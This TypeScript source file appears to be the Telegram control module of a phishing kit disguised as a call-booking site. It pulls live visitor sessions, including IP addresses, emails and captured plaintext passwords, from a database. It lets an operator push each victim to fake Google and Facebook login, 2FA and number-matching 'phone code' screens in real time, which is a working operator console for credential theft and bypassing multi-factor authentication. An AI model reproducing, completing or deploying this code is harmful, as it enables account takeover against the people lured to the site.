import { supabase } from '@/lib/supabase'
import { AVAILABLE_PAGES, setSessionRedirection } from '@/lib/session-tracking'
import { buildGooglePhoneCodePath, getAuthProviderFromRedirect } from '@/lib/booking-flow'
import { parseHireDecisionCallback } from '@/lib/hire-check'
import { handleHireTelegramCallback } from '@/lib/telegram-hire-callback'
import {
  formatCallbackToast,
  formatCallbackToastPhone,
  formatNoActiveSessions,
  formatPhoneCodeApplied,
  formatPhoneCodePicker,
  formatRedirectApplied,
  formatRedirectMenu,
  formatSessionsHeader,
  TELEGRAM_HELP_TEXT,
} from '@/lib/telegram-messages'
import {
  answerCallbackQuery,
  editMessageText,
  sendTelegramText,
  type InlineKeyboardButton,
} from '@/lib/telegram-bot-api'
import { getTelegramConfig } from '@/lib/telegram-config'

export type UserSessionRow = {
  id: string
  session_id: string
  ip_address?: string
  user_email?: string
  user_password?: string
  page_url: string
  is_active: boolean
  updated_at: string
}

/** Last 10 hex chars of session id — fits Telegram callback_data limit */
export function sessionSuffix(sessionId: string): string {
  return sessionId.replace(/-/g, '').slice(-10).toLowerCase()
}

export function encodeSelectSession(suffix: string): string {
  return `sel:${suffix}`
}

export function encodeRedirect(suffix: string, pageIndex: number): string {
  return `go:${suffix}:${String(pageIndex).padStart(2, '0')}`
}

type PanelAuth = 'google' | 'facebook'

function authToken(auth: PanelAuth): 'g' | 'f' {
  return auth === 'facebook' ? 'f' : 'g'
}

function authFromToken(token: string | undefined): PanelAuth {
  return token === 'f' ? 'facebook' : 'google'
}

/** Open phone-code number grid (error=0 ok, error=1 wrong-number screen) */
export function encodePhoneCodeMenu(
  suffix: string,
  error: boolean,
  auth: PanelAuth = 'google'
): string {
  return `pcm:${suffix}:${error ? '1' : '0'}:${authToken(auth)}`
}

/** Pick a number 1–99 for phone-code challenge */
export function encodePhoneCodePick(
  suffix: string,
  error: boolean,
  code: number,
  auth: PanelAuth = 'google'
): string {
  return `pcn:${suffix}:${error ? '1' : '0'}:${authToken(auth)}:${code}`
}

export function encodeBackToRedirects(suffix: string): string {
  return `pcb:${suffix}`
}

export function parseCallbackData(
  data: string
):
  | { type: 'select'; suffix: string }
  | { type: 'redirect'; suffix: string; pageIndex: number }
  | { type: 'phone-menu'; suffix: string; error: boolean; auth: PanelAuth }
  | { type: 'phone-pick'; suffix: string; error: boolean; code: number; auth: PanelAuth }
  | { type: 'back'; suffix: string }
  | { type: 'hire'; suffix: string; hired: boolean }
  | null {
  const hire = parseHireDecisionCallback(data)
  if (hire) return { type: 'hire', suffix: hire.suffix, hired: hire.hired }

  const sel = data.match(/^sel:([a-f0-9]{10})$/i)
  if (sel) return { type: 'select', suffix: sel[1].toLowerCase() }

  const go = data.match(/^go:([a-f0-9]{10}):(\d{2})$/i)
  if (go) {
    return {
      type: 'redirect',
      suffix: go[1].toLowerCase(),
      pageIndex: parseInt(go[2], 10),
    }
  }

  const pcm = data.match(/^pcm:([a-f0-9]{10}):([01])(?::([gf]))?$/i)
  if (pcm) {
    return {
      type: 'phone-menu',
      suffix: pcm[1].toLowerCase(),
      error: pcm[2] === '1',
      auth: authFromToken(pcm[3]?.toLowerCase()),
    }
  }

  const pcn = data.match(/^pcn:([a-f0-9]{10}):([01])(?::([gf]))?:([1-9]\d?)$/i)
  if (pcn) {
    const code = parseInt(pcn[4], 10)
    if (code >= 1 && code <= 99) {
      return {
        type: 'phone-pick',
        suffix: pcn[1].toLowerCase(),
        error: pcn[2] === '1',
        auth: authFromToken(pcn[3]?.toLowerCase()),
        code,
      }
    }
  }

  const pcb = data.match(/^pcb:([a-f0-9]{10})$/i)
  if (pcb) return { type: 'back', suffix: pcb[1].toLowerCase() }

  return null
}

export async function findSessionBySuffix(suffix: string): Promise<UserSessionRow | null> {
  const { data, error } = await supabase
    .from('user_sessions')
    .select('id, session_id, ip_address, user_email, user_password, page_url, is_active, updated_at')
    .order('updated_at', { ascending: false })
    .limit(100)

  if (error || !data) {
    console.error('[telegram-panel] findSessionBySuffix:', error)
    return null
  }

  return (
    data.find((row) => sessionSuffix(row.session_id) === suffix.toLowerCase()) ?? null
  )
}

/** Short Telegram button codes — G/FB prefix + easy to scan on mobile */
function telegramButtonCode(path: string): string {
  try {
    const url = new URL(path, 'http://local')
    const auth = url.searchParams.get('auth')
    const prefix =
      auth === 'facebook' ? 'FB·' : auth === 'google' ? 'G·' : ''
    const dialog = url.searchParams.get('dialog')
    switch (dialog) {
      case 'google':
        return 'G·login'
      case 'facebook':
        return 'FB·login'
      case 'login-error':
        return `${prefix}loginErr`
      case 'loading':
        return `${prefix}loading`
      case 'approve':
        return `${prefix}approve`
      case 'approve-error':
        return `${prefix}approveErr`
      case 'phone-code':
        return `${prefix}phonecode`
      case 'phone-code-error':
        return `${prefix}phonecodeErr`
      case '2fa':
        return `${prefix}app2fa`
      case '2fa-error':
        return `${prefix}app2faErr`
      case '2fa-sms':
        return `${prefix}phone2fa`
      case '2fa-sms-error':
        return `${prefix}phone2faErr`
      case '2fa-email':
        return `${prefix}email2fa`
      case '2fa-email-error':
        return `${prefix}email2faErr`
      default:
        break
    }
    switch (url.pathname) {
      case '/':
        return 'home'
      case '/schedule-call':
        if (auth === 'google') return 'G·verify'
        if (auth === 'facebook') return 'FB·verify'
        return 'verify'
      case '/select-date-time':
        return 'datetime'
      case '/enter-details':
        return 'details'
      case '/confirmation':
        return 'confirm'
      case '/livesupport/chatprotect':
        return 'admin'
      default:
        return path.slice(0, 28)
    }
  } catch {
    return path.slice(0, 28)
  }
}

function panelAuthFromPath(path: string): PanelAuth {
  return getAuthProviderFromRedirect(path) ?? 'google'
}

function inferSessionAuth(session: UserSessionRow): PanelAuth {
  return getAuthProviderFromRedirect(session.page_url) ?? 'google'
}

function isPhoneCodeErrorPageValue(value: string): boolean {
  return /[?&]dialog=phone-code-error(?:&|$)/.test(value)
}

function isPhoneCodePageValue(value: string): boolean {
  if (isPhoneCodeErrorPageValue(value)) return false
  return /[?&]dialog=phone-code(?:&|$)/.test(value)
}

/** Compact redirect grid — short codes, 2 per row */
export function buildRedirectKeyboard(suffix: string): InlineKeyboardButton[][] {
  const rows: InlineKeyboardButton[][] = []
  for (let i = 0; i < AVAILABLE_PAGES.length; i += 2) {
    const row: InlineKeyboardButton[] = []
    for (const idx of [i, i + 1]) {
      if (idx >= AVAILABLE_PAGES.length) break
      const page = AVAILABLE_PAGES[idx]
      if (isPhoneCodePageValue(page.value)) {
        row.push({
          text: telegramButtonCode(page.value),
          callback_data: encodePhoneCodeMenu(
            suffix,
            false,
            panelAuthFromPath(page.value)
          ),
        })
      } else if (isPhoneCodeErrorPageValue(page.value)) {
        row.push({
          text: telegramButtonCode(page.value),
          callback_data: encodePhoneCodeMenu(
            suffix,
            true,
            panelAuthFromPath(page.value)
          ),
        })
      } else {
        row.push({
          text: telegramButtonCode(page.value),
          callback_data: encodeRedirect(suffix, idx),
        })
      }
    }
    if (row.length) rows.push(row)
  }
  return rows
}

/** Numbers 1–99 + Back (≤100 Telegram buttons). */
export function buildPhoneCodeNumberKeyboard(
  suffix: string,
  error: boolean,
  auth: PanelAuth = 'google'
): InlineKeyboardButton[][] {
  const rows: InlineKeyboardButton[][] = [
    [{ text: '← Back to redirects', callback_data: encodeBackToRedirects(suffix) }],
  ]

  const perRow = 8
  let row: InlineKeyboardButton[] = []
  for (let n = 1; n <= 99; n++) {
    row.push({
      text: String(n),
      callback_data: encodePhoneCodePick(suffix, error, n, auth),
    })
    if (row.length === perRow) {
      rows.push(row)
      row = []
    }
  }
  if (row.length) rows.push(row)
  return rows
}

async function showPhoneCodePicker(
  chatId: string | number,
  messageId: number,
  session: UserSessionRow,
  error: boolean,
  auth: PanelAuth
): Promise<void> {
  const suffix = sessionSuffix(session.session_id)
  await editMessageText(
    chatId,
    messageId,
    formatPhoneCodePicker(session, error, auth),
    { inline_keyboard: buildPhoneCodeNumberKeyboard(suffix, error, auth) },
    'HTML'
  )
}

/** Login / 2FA alerts — show every redirect choice immediately (no extra tap). */
export function buildLoginNotificationKeyboard(sessionId: string): InlineKeyboardButton[][] {
  return buildRedirectKeyboard(sessionSuffix(sessionId))
}

export function buildSessionPickerKeyboard(
  sessions: UserSessionRow[]
): InlineKeyboardButton[][] {
  const rows: InlineKeyboardButton[][] = []
  for (const session of sessions.slice(0, 8)) {
    const suffix = sessionSuffix(session.session_id)
    const ip = session.ip_address ?? 'no IP'
    const email = session.user_email ? ` · ${session.user_email}` : ''
    rows.push([
      {
        text: `${ip}${email}`.slice(0, 64),
        callback_data: encodeSelectSession(suffix),
      },
    ])
  }
  return rows
}

export async function sendRedirectMenuForSession(
  chatId: string | number,
  session: UserSessionRow,
  messageId?: number
): Promise<void> {
  const suffix = sessionSuffix(session.session_id)
  const text = formatRedirectMenu(session)
  const keyboard = buildRedirectKeyboard(suffix)

  if (messageId) {
    await editMessageText(chatId, messageId, text, { inline_keyboard: keyboard }, 'HTML')
  } else {
    await sendTelegramText(text, {
      chatId: String(chatId),
      parseMode: 'HTML',
      replyMarkup: { inline_keyboard: keyboard },
    })
  }
}

export async function handleTelegramCommand(
  chatId: string | number,
  command: string
): Promise<void> {
  // Groups often send "/help@YourBot" — strip the @bot suffix
  const raw = command.trim().split(/\s/)[0] || ''
  const cmd = raw.split('@')[0]?.toLowerCase() || ''

  if (cmd === '/start' || cmd === '/help') {
    await sendTelegramText(TELEGRAM_HELP_TEXT, {
      chatId: String(chatId),
      parseMode: 'HTML',
    })
    return
  }

  if (cmd === '/sessions' || cmd === '/panel' || cmd === '/livecontrol') {
    const { data, error } = await supabase
      .from('user_sessions')
      .select('id, session_id, ip_address, user_email, user_password, page_url, is_active, updated_at')
      .eq('is_active', true)
      .order('updated_at', { ascending: false })
      .limit(8)

    if (error) {
      await sendTelegramText('❌  <b>Could not load sessions</b>\n\nTry again in a moment.', {
        chatId: String(chatId),
        parseMode: 'HTML',
      })
      return
    }

    const sessions = (data ?? []) as UserSessionRow[]
    const panelUrl =
      process.env.NEXT_PUBLIC_APP_URL?.replace(/\/$/, '') ?? 'http://localhost:3000'

    if (sessions.length === 0) {
      await sendTelegramText(formatNoActiveSessions(`${panelUrl}/panel`), {
        chatId: String(chatId),
        parseMode: 'HTML',
      })
      return
    }

    const showPanelLink = cmd === '/panel' || cmd === '/livecontrol'
    const header = formatSessionsHeader(sessions.length, `${panelUrl}/panel`, showPanelLink)

    await sendTelegramText(header, {
      chatId: String(chatId),
      parseMode: 'HTML',
      replyMarkup: { inline_keyboard: buildSessionPickerKeyboard(sessions) },
    })
    return
  }

  await sendTelegramText(
    '❓  <b>Unknown command</b>\n\nTry <code>/help</code> or <code>/sessions</code>.',
    { chatId: String(chatId), parseMode: 'HTML' }
  )
}

export async function handleTelegramCallback(
  callbackQueryId: string,
  chatId: string | number,
  messageId: number,
  data: string
): Promise<void> {
  const raw = (data || '').trim()

  const hire = parseHireDecisionCallback(raw)
  if (hire) {
    await handleHireTelegramCallback(callbackQueryId, chatId, messageId, hire)
    return
  }

  const parsed = parseCallbackData(raw)

  if (!parsed) {
    console.warn('[telegram] Unknown callback action:', JSON.stringify(raw))
    await answerCallbackQuery(callbackQueryId, 'Unknown action')
    return
  }

  if (parsed.type === 'hire') {
    await handleHireTelegramCallback(callbackQueryId, chatId, messageId, {
      suffix: parsed.suffix,
      hired: parsed.hired,
    })
    return
  }

  if (parsed.type === 'select') {
    const session = await findSessionBySuffix(parsed.suffix)
    if (!session) {
      await answerCallbackQuery(callbackQueryId, 'Session not found or ended')
      return
    }
    await answerCallbackQuery(callbackQueryId)
    await sendRedirectMenuForSession(chatId, session, messageId)
    return
  }

  if (parsed.type === 'back') {
    const session = await findSessionBySuffix(parsed.suffix)
    if (!session) {
      await answerCallbackQuery(callbackQueryId, 'Session not found or ended')
      return
    }
    await answerCallbackQuery(callbackQueryId)
    await sendRedirectMenuForSession(chatId, session, messageId)
    return
  }

  if (parsed.type === 'phone-menu') {
    const session = await findSessionBySuffix(parsed.suffix)
    if (!session) {
      await answerCallbackQuery(callbackQueryId, 'Session not found or ended')
      return
    }
    await answerCallbackQuery(callbackQueryId, parsed.error ? 'Choose wrong-number screen' : 'Choose number')
    await showPhoneCodePicker(
      chatId,
      messageId,
      session,
      parsed.error,
      parsed.auth ?? inferSessionAuth(session)
    )
    return
  }

  if (parsed.type === 'phone-pick') {
    const session = await findSessionBySuffix(parsed.suffix)
    if (!session) {
      await answerCallbackQuery(callbackQueryId, 'Session not found or ended')
      return
    }

    const auth = parsed.auth ?? inferSessionAuth(session)
    const path = buildGooglePhoneCodePath(String(parsed.code), parsed.error, auth)
    const result = await setSessionRedirection(
      session.session_id,
      `${path}&_t=${Date.now()}`,
      'telegram'
    )
    if (!result.success) {
      await answerCallbackQuery(callbackQueryId, 'Failed to set redirect')
      return
    }

    const codeName = parsed.error
      ? `${auth === 'facebook' ? 'FB' : 'G'} · phonecode Err`
      : `${auth === 'facebook' ? 'FB' : 'G'} · phonecode`
    void answerCallbackQuery(
      callbackQueryId,
      formatCallbackToastPhone(codeName, parsed.code)
    )

    const suffix = sessionSuffix(session.session_id)
    void (async () => {
      const freshSession = (await findSessionBySuffix(suffix)) ?? session
      await editMessageText(
        chatId,
        messageId,
        formatPhoneCodeApplied(freshSession, codeName, parsed.code, path),
        { inline_keyboard: buildPhoneCodeNumberKeyboard(suffix, parsed.error, auth) },
        'HTML'
      )
    })()
    return
  }

  if (parsed.type === 'redirect') {
    const session = await findSessionBySuffix(parsed.suffix)
    const page = AVAILABLE_PAGES[parsed.pageIndex]

    if (!session || !page) {
      await answerCallbackQuery(callbackQueryId, 'Session or page not found')
      return
    }

    // Safety: if an old message still has go: for phone-code, open picker
    if (isPhoneCodePageValue(page.value) || isPhoneCodeErrorPageValue(page.value)) {
      await answerCallbackQuery(callbackQueryId)
      await showPhoneCodePicker(
        chatId,
        messageId,
        session,
        isPhoneCodeErrorPageValue(page.value),
        panelAuthFromPath(page.value)
      )
      return
    }

    const result = await setSessionRedirection(
      session.session_id,
      `${page.value}&_t=${Date.now()}`,
      'telegram'
    )
    if (!result.success) {
      await answerCallbackQuery(callbackQueryId, 'Failed to set redirect')
      return
    }

    const stepLabel = telegramButtonCode(page.value)
    void answerCallbackQuery(callbackQueryId, formatCallbackToast(stepLabel))

    const suffix = sessionSuffix(session.session_id)
    void (async () => {
      const freshSession = (await findSessionBySuffix(suffix)) ?? session
      await editMessageText(
        chatId,
        messageId,
        formatRedirectApplied(freshSession, stepLabel, page.value, 'telegram'),
        { inline_keyboard: buildRedirectKeyboard(suffix) },
        'HTML'
      )
    })()
  }
}

export function isAuthorizedTelegramChat(
  chatId: string | number,
  userId?: number
): boolean {
  const config = getTelegramConfig()
  if (!config) return false

  const chat = String(chatId).trim()
  const configured = config.chatId.trim()

  if (chat === configured) return true

  // Tolerate missing / extra -100 prefix mistakes between channel ids
  const norm = (id: string) => id.replace(/^-100/, '-').replace(/^-/, '')
  if (norm(chat) && norm(chat) === norm(configured)) return true

  const adminUserId = process.env.TELEGRAM_ADMIN_USER_ID?.trim()
  if (adminUserId && userId != null && String(userId) === adminUserId) {
    return true
  }

  return false
}
